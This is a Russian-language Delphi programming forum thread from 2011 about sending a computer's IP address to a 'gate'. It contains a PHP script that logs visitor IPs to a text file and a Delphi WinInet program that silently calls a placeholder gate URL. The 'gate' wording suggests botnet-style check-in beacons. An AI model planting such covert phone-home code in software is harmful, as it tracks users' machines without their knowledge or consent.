Четверг, 17.08.2017, 18:27 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: Волк-1024 
delfcode » Delphi » Windows API в Delphi » Отправка ip на gate
Отправка ip на gate
dolphinДата: Понедельник, 21.03.2011, 17:32 | Сообщение # 1
Администратор
Сообщений: 902
Статус: Offline
Немного подредактировал то что нашёл в инете, при сжатии вес 1,2 кб получается

Code

<?php
$ip=$_SERVER['REMOTE_ADDR'];
$all=date("m.d.Y H:i:s").'  :  '.$ip;
$base = fopen('base.txt', "a+");
fwrite($base, $all."\r\n");
fclose($base);
?>


Доступно только для пользователей


Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик


Сообщение отредактировал dolphin - Вторник, 17.05.2011, 14:54
 
gravitasДата: Понедельник, 21.03.2011, 18:01 | Сообщение # 2
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Это конечно хорошо, что код полностью без инклудов, но новичкам трудновато будет понять. Для того, кому выше изложенный код немного "недоступен" выкладываю свой (упрощенный) вариант сендера на WinInet:
Code

Programm sender;

uses [b]WinInet[/b];

// Поцедура для отправки
Procedure sendIP(url :String);
var
    hSock :HINTERNET;
    hFile :HINTERNET;
begin
    hSock := InternetOpen(PChar('IPOnGate client'), 0, nil, nil, 0);
    hFile := InternetOpenUrl(hSock, PChar(url), nil, 0, INTERNET_FLAG_EXISTING_CONNECT, 0);
    InternetCloseHandle(hSock);
end;

//Использование
begin
SendIP('http://site.com/gate.php');
end;


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
MASДата: Пятница, 25.04.2014, 21:47 | Сообщение # 3
Участник
Зарегистрирован: 16.08.2013
Группа: Пользователи
Сообщений: 66
Статус: Offline
gravitas твой я не понял как использовать, ошибки, геит написал бы, а вот код dolphina робит отлично)

За одну ночь нельзя изменить свою жизнь, но за одну ночь можно изменить мысли которые изменят твою жизнь. (MAS)
 
delfcode » Delphi » Windows API в Delphi » Отправка ip на gate
Страница 1 из 11
Поиск:

delfcode.ru © 2008 - 2017 Хостинг от uCoz